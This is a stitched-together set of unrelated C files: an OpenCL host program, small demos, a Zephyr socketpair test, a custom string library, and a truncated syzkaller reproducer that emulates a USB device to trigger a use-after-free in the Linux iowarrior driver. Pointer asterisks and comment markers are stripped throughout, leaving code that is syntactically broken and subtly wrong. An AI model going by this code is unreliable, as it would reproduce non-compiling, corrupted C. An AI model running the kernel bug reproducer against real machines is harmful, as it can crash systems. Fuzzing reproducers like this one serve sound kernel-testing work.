printf("error: call to 'clGetDeviceInfo' failed\n"); exit(1); } printf("device.name='%s'\n", device_name); printf("\n"); / Create a Context Object / cl_context context; context = clCreateContext(NULL, 1, &device, NULL, NULL, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateContext' failed\n"); exit(1); } printf("context=%p\n", context); / Create a Command Queue Object/ cl_command_queue command_queue; command_queue = clCreateCommandQueue(context, device, 0, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateCommandQueue' failed\n"); exit(1); } printf("command_queue=%p\n", command_queue); printf("\n"); / Program source / unsigned char source_code; size_t source_length; /* Read program from 'bitselect_ulong2ulong2ulong2.cl' / source_code = read_buffer("bitselect_ulong2ulong2ulong2.cl", &source_length); / Create a program / cl_program program; program = clCreateProgramWithSource(context, 1, (const char )&source_code, &source_length, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateProgramWithSource' failed\n"); exit(1); } printf("program=%p\n", program); / Build program / ret = clBuildProgram(program, 1, &device, NULL, NULL, NULL); if (ret != CL_SUCCESS ) { size_t size; char log; /* Get log size / clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,0, NULL, &size); / Allocate log and print / log = malloc(size); clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,size, log, NULL); printf("error: call to 'clBuildProgram' failed:\n%s\n", log); / Free log and exit / free(log); exit(1); } printf("program built\n"); printf("\n"); / Create a Kernel Object / cl_kernel kernel; kernel = clCreateKernel(program, "bitselect_ulong2ulong2ulong2", &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateKernel' failed\n"); exit(1); } / Create and allocate host buffers / size_t num_elem = 10; / Create and init host side src buffer 0 / cl_ulong2 src_0_host_buffer; src_0_host_buffer = malloc(num_elem * sizeof(cl_ulong2)); for (int i = 0; i < num_elem; i++) src_0_host_buffer[i] = (cl_ulong2){{2, 2}}; /* Create and init device side src buffer 0 / cl_mem src_0_device_buffer; src_0_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem sizeof(cl_ulong2), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create source buffer\n"); exit(1); } ret = clEnqueueWriteBuffer(command_queue, src_0_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_ulong2), src_0_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueWriteBuffer' failed\n"); exit(1); } /* Create and init host side src buffer 1 / cl_ulong2 src_1_host_buffer; src_1_host_buffer = malloc(num_elem * sizeof(cl_ulong2)); for (int i = 0; i < num_elem; i++) src_1_host_buffer[i] = (cl_ulong2){{2, 2}}; /* Create and init device side src buffer 1 / cl_mem src_1_device_buffer; src_1_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem sizeof(cl_ulong2), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create source buffer\n"); exit(1); } ret = clEnqueueWriteBuffer(command_queue, src_1_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_ulong2), src_1_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueWriteBuffer' failed\n"); exit(1); } /* Create and init host side src buffer 2 / cl_ulong2 src_2_host_buffer; src_2_host_buffer = malloc(num_elem * sizeof(cl_ulong2)); for (int i = 0; i < num_elem; i++) src_2_host_buffer[i] = (cl_ulong2){{2, 2}}; /* Create and init device side src buffer 2 / cl_mem src_2_device_buffer; src_2_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem sizeof(cl_ulong2), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create source buffer\n"); exit(1); } ret = clEnqueueWriteBuffer(command_queue, src_2_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_ulong2), src_2_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueWriteBuffer' failed\n"); exit(1); } /* Create host dst buffer / cl_ulong2 dst_host_buffer; dst_host_buffer = malloc(num_elem * sizeof(cl_ulong2)); memset((void )dst_host_buffer, 1, num_elem sizeof(cl_ulong2)); /* Create device dst buffer / cl_mem dst_device_buffer; dst_device_buffer = clCreateBuffer(context, CL_MEM_WRITE_ONLY, num_elem sizeof(cl_ulong2), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create dst buffer\n"); exit(1); } /* Set kernel arguments / ret = CL_SUCCESS; ret \|= clSetKernelArg(kernel, 0, sizeof(cl_mem), &src_0_device_buffer); ret \|= clSetKernelArg(kernel, 1, sizeof(cl_mem), &src_1_device_buffer); ret \|= clSetKernelArg(kernel, 2, sizeof(cl_mem), &src_2_device_buffer); ret \|= clSetKernelArg(kernel, 3, sizeof(cl_mem), &dst_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clSetKernelArg' failed\n"); exit(1); } / Launch the kernel / size_t global_work_size = num_elem; size_t local_work_size = num_elem; ret = clEnqueueNDRangeKernel(command_queue, kernel, 1, NULL, &global_work_size, &local_work_size, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueNDRangeKernel' failed\n"); exit(1); } / Wait for it to finish / clFinish(command_queue); / Read results from GPU / ret = clEnqueueReadBuffer(command_queue, dst_device_buffer, CL_TRUE,0, num_elem sizeof(cl_ulong2), dst_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueReadBuffer' failed\n"); exit(1); } /* Dump dst buffer to file / char dump_file[100]; sprintf((char )&dump_file, "%s.result", argv[0]); write_buffer(dump_file, (const char )dst_host_buffer, num_elem sizeof(cl_ulong2)); printf("Result dumped to %s\n", dump_file); /* Free host dst buffer / free(dst_host_buffer); / Free device dst buffer / ret = clReleaseMemObject(dst_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } / Free host side src buffer 0 / free(src_0_host_buffer); / Free device side src buffer 0 / ret = clReleaseMemObject(src_0_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } / Free host side src buffer 1 / free(src_1_host_buffer); / Free device side src buffer 1 / ret = clReleaseMemObject(src_1_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } / Free host side src buffer 2 / free(src_2_host_buffer); / Free device side src buffer 2 / ret = clReleaseMemObject(src_2_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } / Release kernel / ret = clReleaseKernel(kernel); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseKernel' failed\n"); exit(1); } / Release program / ret = clReleaseProgram(program); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseProgram' failed\n"); exit(1); } / Release command queue / ret = clReleaseCommandQueue(command_queue); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseCommandQueue' failed\n"); exit(1); } / Release context */ ret = clReleaseContext(context); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseContext' failed\n"); exit(1); } return 0; }
the_stack_data/381508.c	#include <stdio.h> int main(void) { int x = 100; printf("10진수로 출력 : %d\n", x); // 100 // 10진수 //기본적으로 출력한다 printf("8진수로 출력 : %o\n", x); // 144 // 8진수 // 1 2 3 4 5 6 7 10 11 12 -> printf("16진수로 출력 : %x\n", x); // 64 // 16진수 return 0; }
the_stack_data/1136807.c	#ifdef ALL_NET_EVENT #include "rt_config.h" void wext_send_event(PNET_DEV net_dev, const char peer_mac_addr, const char bssid, UINT32 channel, INT32 rssi, FBT_NOTIFY_E event_type) { FBT_NOTIFY_ST event_data; memcpy(&event_data.FbtNotifyExtApMac, bssid, 6); event_data.FbtChannel = channel; event_data.FbtRSSI = rssi; event_data.FbtNotifyType = event_type; memcpy(&event_data.FbtNotifyMac, peer_mac_addr, 6); RtmpOSWrielessEventSend(net_dev, RT_WLAN_EVENT_CUSTOM, IW_ALL_NET_EVENT, NULL, (PUCHAR)&event_data, sizeof(event_data)); } #endif /* ALL_NET_EVENT */
the_stack_data/1230724.c	#include <stdint.h> extern void _binary_pr25749_1_c_start; extern void _binary_pr25749_1_c_end; intptr_t size (void) { return ((intptr_t) &_binary_pr25749_1_c_end - (intptr_t) &_binary_pr25749_1_c_start); }
the_stack_data/1217062.c	#include <math.h> #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv) { // I am not a floating point expert. This may be wrong in all sorts // of subtle ways. It happens to work here. for (double a = 0.01; a < 7.11; a += 0.01) { for (double b = a; b < 7.11; b += 0.01) { for (double c = b; c < 7.11; c += 0.01) { for (double d = c; d < 7.11; d += 0.01) { int product_cents = a b * c * d * 100.0; int sum_cents = (a + b + c + d) * 100.0; if (product_cents == 711 && sum_cents == 711) { printf("a=%.2f, b=%.2f, c=%.2f, d=%.2f\n", a, b, c, d); exit(0); } } } } } exit(1); } /* Local Variables: / / compile-command: "clang -o seveneleven_fp -Wall -O3 seveneleven_fp.c" / / End: */
the_stack_data/168892821.c	/* * Copyright (c) 2020 Friedt Professional Engineering Services, Inc * * SPDX-License-Identifier: Apache-2.0 / #if defined(__ZEPHYR__) && !(defined(CONFIG_BOARD_NATIVE_POSIX_32BIT) \ \|\| defined(CONFIG_BOARD_NATIVE_POSIX_64BIT) \ \|\| defined(CONFIG_SOC_SERIES_BSIM_NRFXX)) #include <net/socket.h> #include <posix/pthread.h> #include <sys/util.h> #include <posix/unistd.h> #else #include <poll.h> #include <pthread.h> #include <sys/socket.h> #include <sys/types.h> #include <unistd.h> #define ARRAY_SIZE(x) (sizeof(x)/sizeof((x)[0])) #endif #include <errno.h> #include <stdbool.h> #include <stdio.h> #include <string.h> #define NUM_SOCKETPAIRS 3 #define NUM_REPITITIONS 3 struct ctx { int spair[2]; pthread_t thread; char name; }; static const char const names[] = { "Alpha", "Bravo", "Charlie", }; #if defined(__ZEPHYR__) && !(defined(CONFIG_BOARD_NATIVE_POSIX_32BIT) \ \|\| defined(CONFIG_BOARD_NATIVE_POSIX_64BIT) \ \|\| defined(CONFIG_SOC_SERIES_BSIM_NRFXX)) #define STACK_SIZE (1024 + CONFIG_TEST_EXTRA_STACK_SIZE) static pthread_attr_t attr[NUM_SOCKETPAIRS]; K_THREAD_STACK_ARRAY_DEFINE(stack, NUM_SOCKETPAIRS, STACK_SIZE); #endif static void hello(int fd, const char name) { /* write(2) should be used after #25443 / int res = send(fd, name, strlen(name), 0); if (res != strlen(name)) { printf("%s(): send: expected: %d actual: %d errno: %d\n", __func__, (int)strlen(name), res, errno); } } static void fun(void arg) { struct ctx const ctx = (struct ctx )arg; int fd = ctx->spair[1]; const char name = ctx->name; for (size_t i = 0; i < NUM_REPITITIONS; ++i) { hello(fd, name); } close(fd); printf("%s closed fd %d\n", name, fd); ctx->spair[1] = -1; return NULL; } static int fd_to_idx(int fd, struct ctx ctx, size_t n) { int r = -1; size_t i; for (i = 0; i < n; ++i) { if (ctx[i].spair[0] == fd) { r = i; break; } } return r; } #ifdef __ZEPHYR__ void zephyr_app_main(void) { #else int main(int argc, char argv[]) { (void) argc; (void) argv; #endif int r; int fd; int idx; int poll_r; size_t i; size_t num_active; char buf[32]; struct ctx ctx[NUM_SOCKETPAIRS] = {}; struct pollfd fds[NUM_SOCKETPAIRS] = {}; void unused; pthread_attr_t attrp = NULL; for (i = 0; i < ARRAY_SIZE(ctx); ++i) { ctx[i].name = (char )names[i]; r = socketpair(AF_UNIX, SOCK_STREAM, 0, ctx[i].spair); if (r != 0) { printf("socketpair failed: %d\n", errno); goto out; } #if defined(__ZEPHYR__) && !(defined(CONFIG_BOARD_NATIVE_POSIX_32BIT) \ \|\| defined(CONFIG_BOARD_NATIVE_POSIX_64BIT) \ \|\| defined(CONFIG_SOC_SERIES_BSIM_NRFXX)) / Zephyr requires a non-NULL attribute for pthread_create / attrp = &attr[i]; r = pthread_attr_init(attrp); if (r != 0) { printf("pthread_attr_init() failed: %d", r); goto out; } r = pthread_attr_setstack(attrp, &stack[i], STACK_SIZE); if (r != 0) { printf("pthread_attr_setstack() failed: %d", r); goto out; } #endif r = pthread_create(&ctx[i].thread, attrp, fun, &ctx[i]); if (r != 0) { printf("pthread_create failed: %d\n", r); goto out; } printf("%s: socketpair: %d <=> %d\n", ctx[i].name, ctx[i].spair[0], ctx[i].spair[1]); } / loop until all threads are done / for (;;) { / count threads that are still running and fill in pollfds / for (i = 0, num_active = 0; i < ARRAY_SIZE(ctx); ++i) { if (ctx[i].spair[0] == -1) { continue; } fds[num_active].fd = ctx[i].spair[0]; fds[num_active].events = POLLIN; fds[num_active].revents = 0; num_active++; } if (num_active == 0) { / all threads are done / break; } poll_r = poll(fds, num_active, -1); for (size_t i = 0; i < num_active; ++i) { fd = fds[i].fd; idx = fd_to_idx(fd, ctx, ARRAY_SIZE(ctx)); if (idx < 0) { printf("failed to map fd %d to index\n", fd); continue; } if ((fds[i].revents & POLLIN) != 0) { memset(buf, '\0', sizeof(buf)); / read(2) should be used after #25443 */ r = recv(fd, buf, sizeof(buf), 0); printf("fd: %d: read %d bytes\n", fd, r); } if ((fds[i].revents & POLLERR) != 0) { printf("fd: %d: error\n", fd); } if ((fds[i].revents & POLLHUP) != 0) { printf("fd: %d: hung up\n", fd); close(ctx[idx].spair[0]); printf("%s: closed fd %d\n", __func__, ctx[idx].spair[0]); pthread_join(ctx[idx].thread, &unused); printf("joined %s\n", ctx[idx].name); ctx[idx].spair[0] = -1; } } } printf("finished!\n"); out: #ifndef __ZEPHYR__ return 0; #else return; #endif }
the_stack_data/700224.c	#include <stdlib.h> // malloc #include "./string.h" int ToLower(char a); /* Pasudo Code strcpy: 1. set i = 0, j = 0; 2. while src[i] is not NULL will iterate 2.1 dest[j] = src[i] 2.2 i++ 2.3 j++ 3. set dest[j] = '\0' 4. return dest / char strcpy(char dest, const char src) { int i = 0, j = 0; while (src[i] != '\0') { dest[j] = src[i]; i++; j++; } dest[j] = '\0'; return (dest); } /* Pasudo Code strncpy: 1. set i = 0 2. for i < n and src[i] != '\0' 2.1 set dest[i] = src[i] 3. while i <n 3.1 dest[i] = '\0' 3.2 i++ 4. return dest / char strncpy(char dest, const char src, size_t n) { size_t i = 0; for (i = 0; i < n && src[i] != '\0'; i++) { dest[i] = src[i]; } dest[i] = '\0'; return (dest); } /Appends the string pointed to, by src to the end of the string pointed to by dest. 1. set char temp = dest +str(dest) 2. while src != '\0 2.1 temp = src 2.2 temp++; 2.3 src++; 3. temp = '\0' 4. return dest / char strcat(char dest, const char src) { char temp = dest + (strlen(dest)); int size = strlen(src); int i = 0; while (i < size) { temp = src; temp++; src++; i++; } temp = '\0'; return (dest); } /Appends the string pointed to, by src to the end of the string pointed to, by dest up to n characters long. 1. set char temp = dest +strlen(dest) 2. while src != '\0' AND n > o 2.1 temp = src 2.2 temp++ 2.3 src++ 2.4 n-- 3. temp = '\0' 4. return dest / char strncat(char dest, const char src, size_t n) { char temp = dest + strlen(dest); while (src != '\0' && n>0) { temp = src; temp++; src++; n--; } temp = '\0'; return (dest); } //Searches for the first occurrence of the character c (an unsigned char) in the string pointed to, by the argument str. / 1. set char temp - src 2. while temp != NULL 2.1 if temp == c 2.1.1 return temp 2.2 ++temp 3. return NULL / char strchr(const char str, int c) { char temp = (char )str; while (temp != '\0') { if (temp == c) { return temp; } ++temp; } return (NULL); } /Calculates the length of the initial segment of str1 which consists entirely of characters in str2. 1. set size_t size = 0 2. while str1 != '\0' 2.1 if strchr(str2, str1) 2.1.2 size++ 2.2 str1++ 3. retur size_t / size_t strspn(const char str1, const char str2) { size_t size = 0; while (str1 != '\0') { if (strchr(str2, str1) != NULL) { size++; } str1++; } return (size); } /Finds the first occurrence of the entire string needle (not including the terminating null character) which appears in the string haystack. 1. set int i = 0, j = o ,TempIndex 2. set const char TempPointer = NULL 3. for i < strlen(haystack) 3.1 if haystack[i] == needle[j] 3.1.1 TempPointer = &haystack[i] 3.1.2 TempIndex = i 3.1.3 while haystack[i] == needle[j] 3.1.3.1 i++ 3.1.3.2 j++ 3.1.4 if j == strlen(neddle) 3.1.4.1 return (TempPointer) 3.1.4 i = TempIndex 3.1.5 j = 0 4. return (NULL) / char strstr(const char haystack, const char needle) { int i = 0; int j = 0; int TempIndex = 0; char * TempPointer = NULL; for ( i = 0; i < strlen(haystack); i++) { if (haystack[i] == needle[j]) { TempPointer = (char )&haystack[i]; TempIndex = i; while (haystack[i] == needle[j] && needle[j] != '\0') { i++; j++; } if (j == (strlen(needle))) { return (TempPointer); } i = TempIndex; j = 0; } } return (NULL); } /Breaks string str into a series of tokens separated by delim. 1. if str != null 1.2 set static varibles: static char string = str static int index = 0 Itirate on delim[i]: if delim[i] in string / char strtok(char str, const char delim) { static char string; static int index; static int size; static char EndString; int i = 0; char PointerDelim = NULL; char Token = NULL; char TempToken = NULL; if(str != NULL) { string = str; index = 0; size = strlen(str); EndString = str + size; } if (string == EndString) { return (NULL); } for ( i = 0; i < strlen(delim); i++) { PointerDelim = strchr(string, delim[i]); if (PointerDelim != NULL) { break; } } if(PointerDelim == NULL) { if(string != '\0' && index != 0) { PointerDelim = string + (size - index); } else { return (NULL); } } Token = (char )malloc(sizeof(char) * (PointerDelim - string + 1)); if(Token == NULL) { printf("ERROR allocation memory in malloc.\n"); exit(0); } else { TempToken = Token; while(string != PointerDelim) { Token = string; Token++; string++; index++; } if( string != EndString) { string = '\0'; string++; index++; } Token = '\0'; return (TempToken); } } /compares string1 and string2 without sensitivity to case. All alphabetic characters in string1 and string2 are converted to lowercase before comparison. 1. while string != NULL AND (ToLower(string1)- ToLower(string2)) == 0 1.1 string1++; 1.2 string2++; 2. return (ToLower(string1) - ToLower(string2)) / int strcasecmp(const char string1, const char string2) { while ((ToLower(string1)- ToLower(string2)) == 0 && string1 != '\0') { string1++; string2++; } return (ToLower(string1) - ToLower(string2)); }
the_stack_data/1070576.c	// KASAN: use-after-free Read in iowarrior_disconnect // https://syzkaller.appspot.com/bug?id=c59a8f0485cd6634443cdf23cdbf3ea264dd888d // status:open // autogenerated by syzkaller (https://github.com/google/syzkaller) #define _GNU_SOURCE #include <dirent.h> #include <endian.h> #include <errno.h> #include <fcntl.h> #include <signal.h> #include <stdarg.h> #include <stdbool.h> #include <stddef.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mount.h> #include <sys/prctl.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <time.h> #include <unistd.h> #include <linux/usb/ch9.h> unsigned long long procid; static void sleep_ms(uint64_t ms) { usleep(ms * 1000); } static uint64_t current_time_ms(void) { struct timespec ts; if (clock_gettime(CLOCK_MONOTONIC, &ts)) exit(1); return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000; } static bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY \| O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { int err = errno; close(fd); errno = err; return false; } close(fd); return true; } #define USB_DEBUG 0 #define USB_MAX_EP_NUM 32 struct usb_device_index { struct usb_device_descriptor* dev; struct usb_config_descriptor* config; unsigned config_length; struct usb_interface_descriptor* iface; struct usb_endpoint_descriptor* eps[USB_MAX_EP_NUM]; unsigned eps_num; }; static bool parse_usb_descriptor(char* buffer, size_t length, struct usb_device_index* index) { if (length < sizeof(index->dev) + sizeof(index->config) + sizeof(index->iface)) return false; index->dev = (struct usb_device_descriptor)buffer; index->config = (struct usb_config_descriptor)(buffer + sizeof(index->dev)); index->config_length = length - sizeof(index->dev); index->iface = (struct usb_interface_descriptor)(buffer + sizeof(index->dev) + sizeof(index->config)); index->eps_num = 0; size_t offset = 0; while (true) { if (offset + 1 >= length) break; uint8_t desc_length = buffer[offset]; uint8_t desc_type = buffer[offset + 1]; if (desc_length <= 2) break; if (offset + desc_length > length) break; if (desc_type == USB_DT_ENDPOINT) { index->eps[index->eps_num] = (struct usb_endpoint_descriptor)(buffer + offset); index->eps_num++; } if (index->eps_num == USB_MAX_EP_NUM) break; offset += desc_length; } return true; } enum usb_fuzzer_event_type { USB_FUZZER_EVENT_INVALID, USB_FUZZER_EVENT_CONNECT, USB_FUZZER_EVENT_DISCONNECT, USB_FUZZER_EVENT_SUSPEND, USB_FUZZER_EVENT_RESUME, USB_FUZZER_EVENT_CONTROL, }; struct usb_fuzzer_event { uint32_t type; uint32_t length; char data[0]; }; struct usb_fuzzer_init { uint64_t speed; const char driver_name; const char* device_name; }; struct usb_fuzzer_ep_io { uint16_t ep; uint16_t flags; uint32_t length; char data[0]; }; #define USB_FUZZER_IOCTL_INIT _IOW('U', 0, struct usb_fuzzer_init) #define USB_FUZZER_IOCTL_RUN _IO('U', 1) #define USB_FUZZER_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_fuzzer_event) #define USB_FUZZER_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_fuzzer_ep_io) #define USB_FUZZER_IOCTL_EP0_READ _IOWR('U', 4, struct usb_fuzzer_ep_io) #define USB_FUZZER_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor) #define USB_FUZZER_IOCTL_EP_WRITE _IOW('U', 7, struct usb_fuzzer_ep_io) #define USB_FUZZER_IOCTL_EP_READ _IOWR('U', 8, struct usb_fuzzer_ep_io) #define USB_FUZZER_IOCTL_CONFIGURE _IO('U', 9) #define USB_FUZZER_IOCTL_VBUS_DRAW _IOW('U', 10, uint32_t) int usb_fuzzer_open() { return open("/sys/kernel/debug/usb-fuzzer", O_RDWR); } int usb_fuzzer_init(int fd, uint32_t speed, const char* driver, const char* device) { struct usb_fuzzer_init arg; arg.speed = speed; arg.driver_name = driver; arg.device_name = device; return ioctl(fd, USB_FUZZER_IOCTL_INIT, &arg); } int usb_fuzzer_run(int fd) { return ioctl(fd, USB_FUZZER_IOCTL_RUN, 0); } int usb_fuzzer_event_fetch(int fd, struct usb_fuzzer_event* event) { return ioctl(fd, USB_FUZZER_IOCTL_EVENT_FETCH, event); } int usb_fuzzer_ep0_write(int fd, struct usb_fuzzer_ep_io* io) { return ioctl(fd, USB_FUZZER_IOCTL_EP0_WRITE, io); } int usb_fuzzer_ep0_read(int fd, struct usb_fuzzer_ep_io* io) { return ioctl(fd, USB_FUZZER_IOCTL_EP0_READ, io); } int usb_fuzzer_ep_write(int fd, struct usb_fuzzer_ep_io* io) { return ioctl(fd, USB_FUZZER_IOCTL_EP_WRITE, io); } int usb_fuzzer_ep_read(int fd, struct usb_fuzzer_ep_io* io) { return ioctl(fd, USB_FUZZER_IOCTL_EP_READ, io); } int usb_fuzzer_ep_enable(int fd, struct usb_endpoint_descriptor* desc) { return ioctl(fd, USB_FUZZER_IOCTL_EP_ENABLE, desc); } int usb_fuzzer_configure(int fd) { return ioctl(fd, USB_FUZZER_IOCTL_CONFIGURE, 0); } int usb_fuzzer_vbus_draw(int fd, uint32_t power) { return ioctl(fd, USB_FUZZER_IOCTL_VBUS_DRAW, power); } #define USB_MAX_PACKET_SIZE 1024 struct usb_fuzzer_control_event { struct usb_fuzzer_event inner; struct usb_ctrlrequest ctrl; char data[USB_MAX_PACKET_SIZE]; }; struct usb_fuzzer_ep_io_data { struct usb_fuzzer_ep_io inner; char data[USB_MAX_PACKET_SIZE]; }; struct vusb_connect_string_descriptor { uint32_t len; char* str; } __attribute__((packed)); struct vusb_connect_descriptors { uint32_t qual_len; char* qual; uint32_t bos_len; char* bos; uint32_t strs_len; struct vusb_connect_string_descriptor strs[0]; } __attribute__((packed)); static const char* default_string = "syzkaller"; static bool lookup_connect_response(struct vusb_connect_descriptors* descs, struct usb_device_index* index, struct usb_ctrlrequest* ctrl, char** response_data, uint32_t* response_length) { uint8_t str_idx; switch (ctrl->bRequestType & USB_TYPE_MASK) { case USB_TYPE_STANDARD: switch (ctrl->bRequest) { case USB_REQ_GET_DESCRIPTOR: switch (ctrl->wValue >> 8) { case USB_DT_DEVICE: response_data = (char)index->dev; response_length = sizeof(index->dev); return true; case USB_DT_CONFIG: response_data = (char)index->config; response_length = index->config_length; return true; case USB_DT_STRING: str_idx = (uint8_t)ctrl->wValue; if (str_idx >= descs->strs_len) { response_data = (char)default_string; response_length = strlen(default_string); } else { response_data = descs->strs[str_idx].str; response_length = descs->strs[str_idx].len; } return true; case USB_DT_BOS: response_data = descs->bos; response_length = descs->bos_len; return true; case USB_DT_DEVICE_QUALIFIER: response_data = descs->qual; response_length = descs->qual_len; return true; default: exit(1); return false; } break; default: exit(1); return false; } break; default: exit(1); return false; } return false; } static volatile long syz_usb_connect(volatile long a0, volatile long a1, volatile long a2, volatile long a3) { uint64_t speed = a0; uint64_t dev_len = a1; char* dev = (char)a2; struct vusb_connect_descriptors descs = (struct vusb_connect_descriptors)a3; if (!dev) { return -1; } struct usb_device_index index; memset(&index, 0, sizeof(index)); int rv = 0; rv = parse_usb_descriptor(dev, dev_len, &index); if (!rv) { return rv; } int fd = usb_fuzzer_open(); if (fd < 0) { return fd; } char device[32]; sprintf(&device[0], "dummy_udc.%llu", procid); rv = usb_fuzzer_init(fd, speed, "dummy_udc", &device[0]); if (rv < 0) { return rv; } rv = usb_fuzzer_run(fd); if (rv < 0) { return rv; } bool done = false; while (!done) { struct usb_fuzzer_control_event event; event.inner.type = 0; event.inner.length = sizeof(event.ctrl); rv = usb_fuzzer_event_fetch(fd, (struct usb_fuzzer_event)&event); if (rv < 0) { return rv; } if (event.inner.type != USB_FUZZER_EVENT_CONTROL) continue; bool response_found = false; char* response_data = NULL; uint32_t response_length = 0; if (event.ctrl.bRequestType & USB_DIR_IN) { response_found = lookup_connect_response( descs, &index, &event.ctrl, &response_data, &response_length); if (!response_found) { return -1; } } else { if ((event.ctrl.bRequestType & USB_TYPE_MASK) != USB_TYPE_STANDARD \|\| event.ctrl.bRequest != USB_REQ_SET_CONFIGURATION) { exit(1); return -1; } done = true; } if (done) { rv = usb_fuzzer_vbus_draw(fd, index.config->bMaxPower); if (rv < 0) { return rv; } rv = usb_fuzzer_configure(fd); if (rv < 0) { return rv; } unsigned ep; for (ep = 0; ep < index.eps_num; ep++) { rv = usb_fuzzer_ep_enable(fd, index.eps[ep]); if (rv < 0) { } else { } } } struct usb_fuzzer_ep_io_data response; response.inner.ep = 0; response.inner.flags = 0; if (response_length > sizeof(response.data)) response_length = 0; if (event.ctrl.wLength < response_length) response_length = event.ctrl.wLength; response.inner.length = response_length; if (response_data) memcpy(&response.data[0], response_data, response_length); else memset(&response.data[0], 0, response_length); if (event.ctrl.bRequestType & USB_DIR_IN) rv = usb_fuzzer_ep0_write(fd, (struct usb_fuzzer_ep_io)&response); else rv = usb_fuzzer_ep0_read(fd, (struct usb_fuzzer_ep_io)&response); if (rv < 0) { return rv; } } sleep_ms(200); return fd; } static volatile long syz_usb_disconnect(volatile long a0) { int fd = a0; int rv = close(fd); sleep_ms(200); return rv; } static long syz_open_dev(volatile long a0, volatile long a1, volatile long a2) { if (a0 == 0xc \|\| a0 == 0xb) { char buf[128]; sprintf(buf, "/dev/%s/%d:%d", a0 == 0xc ? "char" : "block", (uint8_t)a1, (uint8_t)a2); return open(buf, O_RDWR, 0); } else { char buf[1024]; char* hash; strncpy(buf, (char)a0, sizeof(buf) - 1); buf[sizeof(buf) - 1] = 0; while ((hash = strchr(buf, '#'))) { hash = '0' + (char)(a1 % 10); a1 /= 10; } return open(buf, a2, 0); } } static void kill_and_wait(int pid, int* status) { kill(-pid, SIGKILL); kill(pid, SIGKILL); int i; for (i = 0; i < 100; i++) { if (waitpid(-1, status, WNOHANG \| __WALL) == pid) return; usleep(1000); } DIR* dir = opendir("/sys/fs/fuse/connections"); if (dir) { for (;;) { struct dirent* ent = readdir(dir); if (!ent) break; if (strcmp(ent->d_name, ".") == 0 \|\| strcmp(ent->d_name, "..") == 0) continue; char abort[300]; snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort", ent->d_name); int fd = open(abort, O_WRONLY); if (fd == -1) { continue; } if (write(fd, abort, 1) < 0) { } close(fd); } closedir(dir); } else { } while (waitpid(-1, status, __WALL) != pid) { } } static void setup_test() { prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); setpgrp(); write_file("/proc/self/oom_score_adj", "1000"); } static void execute_one(void); #define WAIT_FLAGS __WALL static void loop(void) { int iter; for (iter = 0;; iter++) { int pid = fork(); if (pid < 0) exit(1); if (pid == 0) { setup_test(); execute_one(); exit(0); } int status = 0; uint64_t start = current_time_ms(); for (;;) { if (waitpid(-1, &status, WNOHANG \| WAIT_FLAGS) == pid) break; sleep_ms(1); if (current_time_ms() - start < 5 * 1000) continue; kill_and_wait(pid, &status); break; } } } uint64_t r[1] = {0xffffffffffffffff}; void execute_one(void) { intptr_t res = 0; memcpy( (void*)0x20000380, "\x12\x01\x00\x00\x12\x09\x1f\x08\xc0\x07\x01\x15\xa0\x74\x00\x00\x00\x01" "\x09\x02\x1b\x00\x03\x00\x00\x00\x00\x09\x04\xec\x00\x01\x50\x6d\x30\x00" "\x07\x05\x81\x8a\x7c\x29\x84\x63\x89\x56\xd3\x2d\x01\xd3\xb0\xf0\x96\x58" "\x85\xfc\xec\x09\xba\x0e\x36\x54\xbb\xa6\x49\x2e\x7c\xa6\xfa\xc3\x13\x6c" "\x3b\x2e\x10\x75\xed\xf8\xd5\x47\xec\x1b\x71\x59\xb2\x29\x1f\xdb\x69\x9f" "\x0c\xbf\x95\x71\x03\x33\xa1\x72\xe5\xe1\x6f\xff\xfb\xe2\x16\x71\x93\x87" 